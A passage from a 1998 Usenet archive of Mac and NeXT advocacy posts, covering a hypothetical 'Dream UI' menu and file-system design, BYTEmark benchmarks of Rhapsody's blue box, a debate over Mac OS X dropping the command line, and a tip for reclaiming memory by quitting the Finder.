either format it or eject/unmount it. Deleting a printer will just clear
it's queue, and deleting a scanner or camera won't do anything.
The layout of a window in default Unity themes is as follows: all four
corners of a window can be dragged to resize it. The four sized can be
dragged to move it. If the contents of the window extend beyond it's size,
scroll bars will appear along the inside of the window's sides. To change
the location of the scroll bars, drag the Scroll Widget (shown in the
bottom-right corner here) to any of the corners of the window, and that is
where the two scroll bars will intersect. Clicking a scrollbar arrow will
move the contents of the window the opposite direction, as if you were
"looking" that way. For example to "look" to the left, click the left
arrow and the contents left of the current point of view will move right,
into your "line of sight". To expand a window to show all of it's
contents, click the Zoom Box, the widget second to the right in the top of
the window. Click it again to bring it back to it's previous size.
Option-clicking this will expand it to full-screen. To the right of the
Zoom Box is the Collapse Box, which will collapse the window to just it's
border, title widgets and title bar (no contents or scroll bars). Clicking
it again will expand it back to it's original size. Option-clicking it
will collapse all visible windows. On the immediate left of the title bar
is the Minimize Box. Clicking this will make the window a Drawer.
Option-clicking the drawer's tab will make it a window again.
Option-clicking the Minimize Box will minimise all visible windows. To the
left of the Minimize Box is the Close Box. Click this to close the window.
Option-clicking this will close all windows.
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Dream UI [Part III] (was: Re: Mac OS X UI)
Message-ID: <forrestDELETE-THIS!-2706981734590001@term1-2.vta.west.net>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <tLVk1.3$Oe1.54453@proxye1.san.rr.com> <359434A2.8C1C371@nstar.net> <vhXk1.12$Oe1.111450@proxye1.san.rr.com> <3595368A.CA0E6322@nstar.net> <forrestDELETE-THIS!-2706981727560001@term1-2.vta.west.net>
Organization: Obsidian Design / Static Dreams Interactive
Date: Sun, 28 Jun 1998 00:40:58 GMT
NNTP-Posting-Date: Sat, 27 Jun 1998 17:40:58 PDT
Dream UI menu layout...
Special [represented as an icon, customised in each distribution]
About This Computer...
Displays information regarding this device, and the OS itself.
About This Editor/Program...
Displays information regarding the "frontmost" Editor or Program.
-----------------------------
User Preferences...
Date, Time & Location
Lets you set date, time, and location.
Editors
Lets you assign certain editors to certain file
types.
Events
Lets you schedule timed actions, such as program launching,
startups and shutdowns
Interface
Lets you set Themes, Styles, Tint & Hilite
Color, Background & Floor images,
Fonts, default View preferences, and Sounds.
Personality
Lets you set the "personality" of the OS, such as "face",
"voice", and "attitude".
Users
Lets you set name, occupation, organization,
email address, signature, etc.
Has a different "profile" for each user.
Editor/Program Preferences...
Lets you set preferences for this particular
program or editor.
-----------------------------
Find...
Searches the specified container for files matching
specified criteria.
Each editor defines how the "By Content" criteria functions.
Go To...
Sets the frontmost container to whatever you enter in
the dialog.
-----------------------------
Recent Editors
A submenu of the most recently used editors.
Recent Documents
A submenu of the most recently viewed or edited documents.
Recent Programs
A submenu of the most recently used programs.
-----------------------------
The user's stuff goes here.
-----------------------------
Sleep
Blanks the screen. Can require a password to re-enter.
Log Out
Ends all user-started tasks, logs out the user and
returns to the login screen.
Restart
Ends all tasks, powers down, and then starts back up again.
Shut Down
Ends all tasks and powers down.
File
New...
Prompts for a file type, and then creates a new file of
that type.
------------------
Open
Opens the selected part/container into it's own window.
Close
Closes the frontmost window.
------------------
Import...
Will copy a file from a disk, or from a camera or
scanner, into the active container.
Export...
Will export the frontmost container to another file on a
disk, or to a printer.
------------------
Save
Saves the active container's root content as the current
version.
Save All
Saves all the contents of the active container as the
current version.
Save As...
Saves all the active container's content as a new
version which the user specifies.
------------------
Revert
Reverts the active container's root content to the most
recent saved version.
Revert All
Reverts all the contents of the active container to the
most recent saved version.
Revert To...
Reverts all the contents of the active container to a
user-specified version.
--------------------
Compress/Expand
Does binary compression or expansion of the selected
part/container.
--------------------
Access Privilages...
Lets you set access privilages for the selected
container/part.
--------------------
Make Shortcut
Makes a soft pointer to the selected part/container file.
The shortcut may be deleted with no effect on the file at all.
Make Alias
Makes a hard pointer to the selected part/container.
If an alias of a file exists, the data is still there.
To delete the data, delete all aliases.
Make Duplicate
Duplicates the currently selected part/container as
"[oldname] copy".
--------------
Get Info...
Displays information about the selected part/container.
Edit
Undo
Undoes the last action.
Redo
Redoes the last undo, or redoes the last action.
--------------
Cut
Removes the selected part/container/data, and puts a
copy of it on the Clipboard.
Copy
Puts a copy of the selected part/container/data on the
Clipboard
Paste
Puts the last Cut or Copied part/container/data into the
active container.
Delete
Removes the selected part/container/data.
--------------
Select All
Selects all parts/containers/data in the active container.
Select None
Selects nothing.
--------------
Show Clipboard
Opens the Clipboard, the container to which cut or copied
data is sent.
View
Window
Sets the active container to normal "Window" view.
Drawer
Sets the active container to special "Drawer" view.
---------------
Icon
Shows the contents of the active container as icons.
List
Shows the contents of the active container as a
hierarchical list.
Columns
Shows the contents of the active container as a hierarchical set of
columns.
Content
Shows the contents of the active container as what they
really are (text, image, etc)
---------------
View Options...
Different options for the selected view style
(Icon/List/Content).
For Icon and Content, is has alignment options...
None
Snap-To-Grid
Keep Arranged By [criteria]
...and Grid Spacing (tight or wide).
For Icon it also has Icon Size (small, med., large)
and name position (right or bottom).
And for List & Columns is has Icon Size (small, med.,
large) and arrangement criteria
(name, size, kind, modification date, creation date).
Editor- and Program-specific menus go here.
Services
The running editors and programs define what goes in this menu.
Help
About Help...
Displays information about the help system.
----------------------
Show/Hide Help Baloons
Shows or hides help baloons.
----------------------
Help...
Activates the interactive, dictionary-style help system.
Processes
End Task
End the active task.
End Others
Ends all tasks but the active one.
Hide Task
Hides the active task.
Hide Others
Hides all tasks but the active one.
--------------------------------------
A list of running tasks, as shown below, appear here.
Folder Editor
Copying From "Texts" To "Images"
Switching View From "Icon" To "Content"
Duplicating "The Biggest File Ever"
Volume Defragmentor
Defragmenting "Main Volume"
Sound Editor
Robotizing "The Voice of Bob"
--------------------------------------
Task Manager...
Displays the Task Manager, a window with the status of
all running tasks.
Other various menus...
Text Editor:
Document
Sets the orientation of the text in this area. Standard western is
horizontal before
verticle, right to left, top to bottom.
Priority
Horizontal
Verticle
Horizontal Direction
Right to Left
Left to Right
Verticle Direction
Top to Bottom
Bottom to Top
Paragraph
Kerning
Sets the kerning distance between lines, as opposed to between characters.
Standard
One-line kerning distance.
Tight
0.75-line kerning distance.
Loose
1.5-line kerning distance.
Other...
Lets you specify your own line-kerning distance.
Justification
Horizontal
Left
Center
Right
Stretch
Verticle
Top
Center
Bottom
Stretch
Font
List of installed fonts
Style
Plain
Normal glyphs.
Dimensions
Standard
Makes the glyphs normal 1/1 width and heigth.
Tall
Makes the glyphs taller, by a 2/3 ratio.
Short
Makes the glyphs shorter, by a 3/2 ratio.
Narrow
Makes the glyphs narrower, by a 2/3 ratio.
Wide
Makes the glyphs wider, by a 3/2 ratio.
Other...
Lets you specify your own custom dimensions
Lines
Standard
Keeps the lines their normal width.
Bold
Doubles the line width of the glyphs.
Thin
Halves the line width of the glyphs.
Outlined
Makes the glyphs double-lined, producing an outline effect.
Bold Outlined
Makes the glyphs double-lined with double-width lines.
Thin Outlined
Makes the glyphs double-lined with half-width lines.
Other...
Lets you specify your own line style,
with any multple or factor of the line width
and from one to three lines per standard glyph line.
Slant
None
No slant to the glyphs.
Right
Slants the glyphs to the right at 22.5°.
Left
Slants the glyphs to the left at -22.5°
Other...
Lets you set your own slant to the glyphs.
Flip
Horizontal
Verticle
Kerning
Condensed
Squishes the glyphs closer together.
Extended
Spreads the glyphs farther apart.
Other...
Lets you set your own kerning distance.
Positioning & Scaling
Supescript
Keeps the scale the same and aligns the horizontal center
of the glyph to what would normally be it's top.
Subscript
Keeps the scale the same and aligns the horizontal center
of the glyph to what would normally be it's bottom.
Superior
Halves the scale of the glyph and aligns it to it's own top.
Inferior
Halves the scale of the glyph and aligns it to it's own bottom.
Other...
Lets you set your own position and scaling.
Shadow
Makes a drop shadow on the...
Top
Bottom
Left
Right
Top-Left
Top-Right
Bottom-Left
Bottom-Right
Border
Draws a line on the...
Bottom
Horizontal Center
Top
Right
Verticle Center
Left
Depth
Extruded
Sets the depth to +3 bottom-right 22.5, extruding the text three
points,
with perspective as viewed from the 22.5° to the bottom-right of
the glyph.
Indented
Sets the depth to -3 bottom-right 22.5, indenting the text three
points,
with perspective as viewed from the 22.5° to the bottom-right of
the glyph.
Size
6-point
8-point
12-point
16-point
24-point
32-point
48-point
64-point
72-point
Other...
Color
Red
Yellow
Green
Cyan
Blue
Magenta
Other...
Custom Styles
A list of pre-defined "styles", which includes font, style, size, and color.
-----------------------------
Edit This Menu...
Lets you add and remove custom styles from this menu.
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Dream UI [Part IV] (was: Re: Mac OS X UI)
Message-ID: <forrestDELETE-THIS!-2706981736580001@term1-2.vta.west.net>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <tLVk1.3$Oe1.54453@proxye1.san.rr.com> <359434A2.8C1C371@nstar.net> <vhXk1.12$Oe1.111450@proxye1.san.rr.com> <3595368A.CA0E6322@nstar.net> <forrestDELETE-THIS!-2706981727560001@term1-2.vta.west.net>
Organization: Obsidian Design / Static Dreams Interactive
Date: Sun, 28 Jun 1998 00:42:55 GMT
NNTP-Posting-Date: Sat, 27 Jun 1998 17:42:55 PDT
The Dream OS directory structure (not really a part of the UI, but I
thought I'd include it for completeness).
Every file is structured like this...
MyFile1 --------------------------------------------------- What you see,
the actual file
Meta ---------------------------------------------------
Information about the file
Data --------------------------------------------------- The root
content of the file
Vers1 -------------------------------------------------- The first
version of the file
MyFile2 --------------------------------------------- An
embedded file
Meta
--------------------------------------------- ' '
Data --------------------------------------------- ' '
MyFile3 --------------------------------------------- Another
embedded file
Meta --------------------------------------------- ' '
Data --------------------------------------------- ' '
MyFile4 ------------------------------------------ An embedded
embedded file.
Meta
------------------------------------------ ' '
Data
------------------------------------------ ' '
Vers2 -------------------------------------------------- The
changes from Vers1 to Vers2
Vers3 -------------------------------------------------- The
changes from Vers2 to Vers3
Temp --------------------------------------------------- The
changes from last version
to the current
working version.
...and so on.
A "Container" is a file which can contain other files. A "Part" is a file
which cannot contain other files. Meta and Data files, as well as
Libraries, Editors, and Programs, are Parts. A "Folder" is a container
with an empty Data part. A "Library" is a part which is not run as it's
own task, but is called on by other tasks for code. An "Editor" is a part
which is run as it's own task, and contains code on how to edit different
forms of data parts (texts, images, etc). A "Program" is a stand-alone
task which does not neccesarily edit files, but instead performs a certain
function all by itself. Some programs, such as the Hardware Manager, are
"invisible", in the sense that they don't have any windows or menus, they
simply perform a function in the background, such as managing other tasks
or providing services.
Clipboard ------------------------------------------------- [folder]
Desktop --------------------------------------------------- [folder]
System ---------------------------------------------------- [folder]
Fonts -------------------------------------------------- [folder]
Monospaced Roman ------------------------------------ [font]
Designer Roman -------------------------------------- [font]
Kanji ----------------------------------------------- [font]
Hangul ---------------------------------------------- [font]
Hebrew ---------------------------------------------- [font]
Greek ----------------------------------------------- [font]
Interface Modules -------------------------------------- [folder]
Cylendra -------------------------------------------- [library]
Gizmo ----------------------------------------------- [library]
Platinum -------------------------------------------- [library]
Trapazo --------------------------------------------- [library]
Square ---------------------------------------------- [library]
Libraries ---------------------------------------------- [folder]
Database Library ------------------------------------ [library]
2D Raster Image Library ----------------------------- [library]
2D Raster Animation Library ------------------------- [library]
2D Vector Image Library ----------------------------- [library]
2D Vector Animation Library -------------------------
[library]
3D Raster Model Library ----------------------------- [library]
3D Raster Animation Library -------------------------
[library]
3D Vector Model Library ----------------------------- [library]
3D Vector Animation Library ------------------------- [library]
Music Library --------------------------------------- [library]
Panorama Library ------------------------------------ [library]
Spreadsheet Library --------------------------------- [library]
Text Library ---------------------------------------- [library]
Package Lists ------------------------------------------ [folder]
Preference Modules ------------------------------------- [folder]
Startup Modules ---------------------------------------- [folder]
Command Line ---------------------------------------- [program]
Hardware Manager ------------------------------------ [program]
Interface Manager ----------------------------------- [program]
System Manager ----------------------------------------- [program]
Shared ---------------------------------------------------- [folder]
Default ------------------------------------------------ [folder]
Incoming -------------------------------------------- [folder]
Outgoing -------------------------------------------- [folder]
Preferences ----------------------------------------- [folder]
Documents ---------------------------------------------- [folder]
Databases ------------------------------------------- [folder]
Models ---------------------------------------------- [folder]
Music ----------------------------------------------- [folder]
Panoramas ------------------------------------------- [folder]
Vector Images --------------------------------------- [folder]
Spreadsheets ---------------------------------------- [folder]
Texts ----------------------------------------------- [folder]
Raster Images --------------------------------------- [folder]
Videos ---------------------------------------------- [folder]
Editors ------------------------------------------------ [folder]
Database Editor ------------------------------------- [folder]
Model Editor ---------------------------------------- [editor]
Music Editor ---------------------------------------- [editor]
Panorama Editor ------------------------------------- [editor]
Raster Image Editor --------------------------------- [editor]
Spreadsheet Editor ---------------------------------- [editor]
Text Editor ----------------------------------------- [editor]
Vector Image Editor --------------------------------- [editor]
Video Editor ---------------------------------------- [editor]
Programs ----------------------------------------------- [folder]
Development ----------------------------------------- [folder]
Compiler ----------------------------------------- [program]
Interface Builder -------------------------------- [program]
Project Builder ---------------------------------- [program]
Conferencing ---------------------------------------- [folder]
Audio Conferencer -------------------------------- [program]
Text Conferencer --------------------------------- [program]
Video Conferencer -------------------------------- [program]
Games ----------------------------------------------- [folder]
Action ------------------------------------------- [program]
Arcade ------------------------------------------- [program]
Epic --------------------------------------------- [program]
Strategy ----------------------------------------- [program]
User ------------------------------------------------------ [folder]
Default ------------------------------------------------ [folder]
Incoming -------------------------------------------- [folder]
Outgoing -------------------------------------------- [folder]
Preferences ----------------------------------------- [folder]
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: atlauren@uci.edu (Andrew Laurence)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: ISP's run NT? Hogwash!
Date: Sun, 28 Jun 1998 17:52:25 -0700
Organization: UC Irvine
Message-ID: <atlauren-2806981752260001@192.168.1.1>
References: <6mh0iv$e25$1@nnrp1.dejanews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <rmcassid-2306980033330001@dialin9231.slip.uci.edu> <35b01a7f.29824100@news.supernews.com> <rmcassid-2306981751480001@dante.eng.uci.edu> <6mpkdi$6on$1@supernews.com> <atlauren-2306982016050001@jungleland.acs.uci.edu> <35bbb632.268506081@news.nai.net> <atlauren-2606981828160001@jungleland.acs.uci.edu> <6n1pae$apc$2@bertrand.ccs.carleton.ca> <atlauren-2706981347120001@192.168.1.1> <35a6e1b3.52614555@news.supernews.com>
_3;X4o1Yg^$]=Oc\u
Thank you, kind sir, for the thoughtful and insightful rebuttal. As
always, the intelligent discourse found herein never fails to inspire
further faith in the human race.
>Your foolishly idealistic assessment of Microsoft, cloaked in such
>glowingly worshipful tones, is a bunch of hogwash, and you _are_ an MS
>apolotist, denials to the contrary.
If that is the conclusion to which your reading abilities bring you, so be it.
>It isn't "odd" that Windows and Word seem to gain prominence on or about
>the same time. Hardly.
Recommend you take a refresher course in comprehension of sarcasm. Kurt
Vonnegut is an excellent starting point.
--
Andrew Laurence atlauren@uci.edu
Office of Academic Computing http://www.oac.uci.edu/~atlauren/
UC Irvine
"Perceive the need."
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: The blue box is so slow!!
Date: Sat, 27 Jun 1998 20:10:00 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-2706982010000001@sdn-ar-001casbarp257.dialsprint.net>
Ok, I got your attention. You saw this and opened the post to tell me how
stupid it is to complain about the blue box, since it is preety fast for
what it does, PLUS rdr2 is only a developer release. Yes, I know that. I
dont think the blue box is slow, but their was something that surprised
me:
I tried running carmageddon in the blue box. First I had to change the
resolution and colors in rhapsody, since the blue box cant autoswitch
resolutions, and my rhaposyd settings were millions of colors 1024.
Carmageddon was noticably slower, which I expected. What surprised me was
that the bytemark was not noticably slower??? How is it that the game is
noticably slower, jerky, etc, yet bytemark shows the bluebox to be just a
smidgeon slower? I mean the difference between native and the blue box
was MUCH less than that of a g3 233 and 266 (this is a g3 233). Here are
the scores it got:
(top is native, bottom is bluebox)
Native with os 8
Enter command line
:
BBBBBB YYY Y TTTTTTT EEEEEEE
BBB B YYY Y TTT EEE
BBB B YYY Y TTT EEE
BBBBBB YYY Y TTT EEEEEEE
BBB B YYY TTT EEE
BBB B YYY TTT EEE
BBBBBB YYY TTT EEEEEEE
BYTEmark (tm) Native Mode Benchmark ver. 2 (10/95)
NUMERIC SORT: Iterations/sec.: 139.859929 Index: 3.586796
STRING SORT: Iterations/sec.: 12.666123 Index: 5.659572
BITFIELD: Iterations/sec.: 114063135.211426 Index: 19.565854
FP EMULATION: Iterations/sec.: 20.420268 Index: 9.798593
FOURIER: Iterations/sec.: 5012.847001 Index: 5.701095
ASSIGNMENT: Iterations/sec.: 2.007361 Index: 7.638359
IDEA: Iterations/sec.: 474.202233 Index: 7.252795
HUFFMAN: Iterations/sec.: 282.562393 Index: 7.835461
NEURAL NET: Iterations/sec.: 3.116584 Index: 5.006560
LU DECOMPOSITION: Iterations/sec.: 90.172062 Index: 4.671377
...done...
===========OVERALL============
INTEGER INDEX: 7.756643
FLOATING-POINT INDEX: 5.108661
(90 MHz Dell Pentium = 1.00)
==============================
bluebox score
Enter command line
:
BBBBBB YYY Y TTTTTTT EEEEEEE
BBB B YYY Y TTT EEE
BBB B YYY Y TTT EEE
BBBBBB YYY Y TTT EEEEEEE
BBB B YYY TTT EEE
BBB B YYY TTT EEE
BBBBBB YYY TTT EEEEEEE
BYTEmark (tm) Native Mode Benchmark ver. 2 (10/95)
NUMERIC SORT: Iterations/sec.: 135.342555 Index: 3.470945
STRING SORT: Iterations/sec.: 12.312705 Index: 5.501655
BITFIELD: Iterations/sec.: 110355534.898300 Index: 18.929869
FP EMULATION: Iterations/sec.: 19.977372 Index: 9.586071
FOURIER: Iterations/sec.: 4886.321754 Index: 5.557198
ASSIGNMENT: Iterations/sec.: 1.905310 Index: 7.250039
IDEA: Iterations/sec.: 461.501284 Index: 7.058537
HUFFMAN: Iterations/sec.: 276.646664 Index: 7.671418
NEURAL NET: Iterations/sec.: 3.032814 Index: 4.871990
LU DECOMPOSITION: Iterations/sec.: 80.812749 Index: 4.186517
...done...
===========OVERALL============
INTEGER INDEX: 7.520319
FLOATING-POINT INDEX: 4.839474
(90 MHz Dell Pentium = 1.00)
==============================
--
So many pedestrians, so little time.
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 29 Jun 1998 14:29:17 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6n88bt$p5r$1@news.spacelab.net>
References: <6n6a2e$21s$1@news.cmc.net> <aman-2806981502540001@scz-ca9-03.ix.netcom.com>
aman@aman.com (A-Man) wrote:
>In article <6n6a2e$21s$1@news.cmc.net>, com.occam@leonvs wrote:
>> Here's my One Big Question: Without a command line, am I going to be put
>> in the position of insulting the remote administration "capabilities" as
>> I do now with NT?
>
>I administer several MacOS-based servers right now and am very happy with
>the capabilities. There are several options - none of which require a
>CLI:
>
>- Timbuktu Pro: complete remote control of the server. I can administer
>servers from my home 33.6 connection with no problem.
What about access control?
What about multiuser functionality, where different users have seperate tasks
which can't interfere with each other?
Can someone be doing work on console while Timbuktu'ing?
>-Santorini Server Tools (http://www.santorinicd.com/piprod.htm)
>Remote admin tools for AppleShare 4.x and ASIP. Works fine.
This is for a specific programs, no?
That completely misses the point-- I want remote administration capabilities
built into the system, so that developers don't have to spend any time or
effort making their specific software remoteable.
This is the same failure that NT's lack of remotability illustrates, and is
one of the major reasons why NT costs so much to administer. Why can't Apple
try to do better than NT? Especially when they've already got the technology
in place and working, now?
[ ...other specific software examples deleted... ]
>> It seems like Apple has to go *out of their way* to not have a CLI in
>> Mac OS X, crippling its chances of playing well in a UNIX networking
>> environment. There's a lot invested in UNIX remote admin tools, and Apple
>> is willing to toss it all away.
>
>It seems like Apple has decided that they don't want to have to support
>Unix admin tools for their customers, so they are leaving that up to third
>parties. Someone will offer the tools you want. You'll just have to pay
>for them.
Not likely. I regret to say that I probably will not recommend MacOS X for
any role beyond that of a client machine.
Why would my clients or my company pay for third-party tools when Solaris,
FreeBSD, or Debian/RedHat Linux provide better alternatives for the money?
Solaris isn't cheap, but it's highly functional, and the free Unices are,
well, free.
>> This only compounds the damage from the loss of remote display.
>
>The overwelming majority of MacOS X customers, whether they were previous
>MacOS or Wintel users, will never miss what they didn't have before.
That strikes you as a worthy argument for Apple to remove useful
functionality from their future operating systems? Ever wonder why computer
software is not improving anywhere near as well as hardware?
>> So maybe I'll be able to buy a Timbuktu-like product to get remote
>> display back. Maybe I'll be able to use AppleScript to replace the
>> perfectly shell scripts I currently use. Maybe I can buy a third-party
>> command line app to recover access to the broad suite of UNIX utilties.
>> And I can still use NetInfo (presumably) to handle most network config
>> issues.
>>
>> WHY MAKE IT THIS HARD?!
>
>To make it easier for their current customers to stay with the platform.
>That is job #1. It seems that Apple will work on meeting your needs when
>they have the resources to do so - which may be a while yet.
How does removing functionality make anything easier for their current
customers?
>> Am I now going to have to buy a third-party mail server, since Sendmail
>> and others need a command line? Am I going to have to buy a third-party
>> news server, since INND needs a CLI? Am I going to have to buy a
>> third-party telnet/FTP server? Why am I starting to feel Microshafted?
>
>If you want to run your free Unix servers on MacOS X you'll probably just
>have to buy a third-party shell.
Unlikely. I'll probably go with another operating system that suits my (or
the clients whom I advise) requirements better.
[ ... ]
>> Why is Apple willing to ignore nearly thirty years of UNIX admin
>> experience built up in the marketplace?
> . . .
>> WHY do we have to give up so much to get the rest of the good stuff?
>
> You don't have to give anything up if it is worth paying for.
Sophistry. I have no objections to paying for functionality, but it's
disingenuous to claim that I'm not "giving up anything" when Apple removes
functionality.
> I suspect that your frustration is actually more "I'll have to pay now
> for a new improved OS" rather than "the new OS is useless for me".
It's necessary for me to deal with non-Unix operating systems; they aren't
useless. But they are not my preferred environment, and I would be much
happier if Apple chose to produce a system that was better and more
functional rather than worse.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
Date: Mon, 29 Jun 1998 10:13:37 +0000
From: christian.bau@isltd.insignia.com (Christian Bau)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Message-ID: <christian.bau-2906981013370001@christian-mac.isltd.insignia.com>
References: <6n6a2e$21s$1@news.cmc.net>
Organization: Insignia Solutions
Cache-Post-Path: proxy0.isltd.insignia.com!unknown@christian-mac.isltd.insignia.com
In article <6n6a2e$21s$1@news.cmc.net>, com.occam@leonvs wrote:
> From http://gemma.apple.com/rhapsody/rhapfaq/2.html :
>
> Will the UNIX command-line be part of Mac OS X?
>
> No.€ Unlike Rhapsody, Mac OS X is not considered an actual Unix system. All
> functionality in Mac OS X will be accessible via the GUI.
>
> However, Mac OS X does include a POSIX-style kernel, providing most of the
> system services required by Unix utilities.€ We realize many developers, and
> certain customer segments, value the option of using a shell to interact with
> the system.€€ We expect that a BSD command-line environment will be available
> for use on top of Mac OS X, though it may come from a third party.
> Created: 6/19/98
Why not just download the MPW Shell? Best CLI ever, and works on every
Macintosh, and it is free. Not that I would recommend it for every
Macintosh user, but if you want a command line interface, they don't come
any better.
From: johnkl@xs4all.nl (John Klijnen)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: os 8/8.1 memory leak?
Date: Mon, 29 Jun 1998 19:23:01 +0200
Organization: XS4ALL, networking for the masses
Message-ID: <19980629192301363804@asd-p267.dial.xs4all.nl>
References: <macghod-2806982253380001@sdn-ar-001casbarp098.dialsprint.net> <see-below-2906980054170001@dynamic62.pm04.mv.best.com>
Matthew Vaughan <see-below@not-my-address.com> wrote:
> In article <macghod-2806982253380001@sdn-ar-001casbarp098.dialsprint.net>,
> macghod@concentric.net (Steve Sullivan) wrote:
>
> > I am not a programmer so I cant say this is a leak, but it is really
> > annoying. Here is what about this computer says (note this is with NO
> > APPS open)
> >
> > macos 8.1
> > built in memory 64 mb
> > virtualy memory 65.8
> > largest unused block 28.1 mb
> > macos 13.2 mb
> >
> > Now where is my other 25 megs of memory? Their are no apps open so please
> > dont tell me its fragmented memory, unless you can explain how its
> > fragmented with NOTHING opened (except for the os which takes up 13.2 mb)
>
>
> Yeah, this happens to me frequently and it's damn annoying. Try
> force-quitting the Finder--usually that will free everything up.
Don't force quit the finder! It could leave your system in an unstable
condition. Make a script with scriptmaker:
tell application "Finder"
quit
end tell
First run a util called "Mac OS Purge". If this doesn't do the trick
quit the finder with the script from above. After that run "Mac OS
Purge" again.
If this doesn't bring your memory back you can always restart your
computer. It works 9 out of 10 times for me!
--
John Klijnen johnkl@xs4all
updated 18-6-98 NEW!! Archives with lots of bands!!!
Also Dynamo Open Air shots.
http://www.xs4all.nl/~johnkl/
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 29 Jun 1998 18:04:37 GMT
Organization: I don't think so
Message-ID: <slrn6pfm1k.soo.jason@jhste1.dyn.ml.org>
References: <6n6a2e$21s$1@news.cmc.net> <christian.bau-2906981013370001@christian-mac.isltd.insignia.com>
Christian Bau posted the following to comp.sys.mac.advocacy:
>Why not just download the MPW Shell? Best CLI ever, and works on every
>Macintosh, and it is free. Not that I would recommend it for every
>Macintosh user, but if you want a command line interface, they don't come
>any better.
You're kidding, right? How is MPW better than bash or ksh, for example?
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 29 Jun 98 13:33:50
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun29133350@slave.doubleu.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com>
<billa-2206981913080001@archbald-96.slip.uiuc.edu>
<6moqam$4os$1@nnrp1.dejanews.com> <6mp7vo$nk@ragnarok.en.uunet.de>
<35911d96.0@206.25.228.5> <6mt5uv$ed3$1@leonie.object-factory.com>
<6mtl8v$9ja$1@ndnws01.ne.highway1.com>
In-reply-to: John Kheit's message of 25 Jun 1998 14:02:07 GMT
In article <6mtl8v$9ja$1@ndnws01.ne.highway1.com>,
John Kheit <jkheit@mediaone.net> writes:
holger@object-factory.REMOVETHIS.com (Holger Hoffstaette) wrote:
> Yes, they're easier *if you already are a surgeon*.
> What some people in the computer industry are promising is that
> people like you, me and Joe Sixpack can perform brain or heart
> surgery by reading the 'Big Dummy's Guide to Heart Surgery'.
Oh, I'm sorry. See, that's the danger of coming into a thread
late. Mia culpa. However, I will note, that I imagine that at
some point in the future, joe six pack will be able to do the
equivelent of heart surgery because of advanced tools. In the
medical industry they have these cool pace makers that you dial the
phone, and they send out data through your chest to the other end.
Opening the vial of "Dr Bob's Nanosurgeons" and keeping the patient
still for forty minutes is _not_ performing heart surgery. The nanos
(and their programmers) are the ones performing the surgery, the
person who opened the vial is just unskilled labor.
I have no problems with people asking "Why can't I open a box of `Dr
Scott's Boil-In-Bag Objects` and just wire them together to do the
job?". That's qualitatively different from asking "Why can't they
make programming easy enough that even I can do it?" I don't think
most people _really_ want to be programmers. In fact, I'm sure of
that.
Sure, this may hinge on a technical definition of "What is
programming", but as I note above with the heart surgery example, I
don't think it's a hard thing to understand. Opening the vial does
not grant you access to the title "Heart Surgeon". It just grants you
the title of "Vial Opener".
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: see-below@not-my-address.com (Matthew Vaughan)
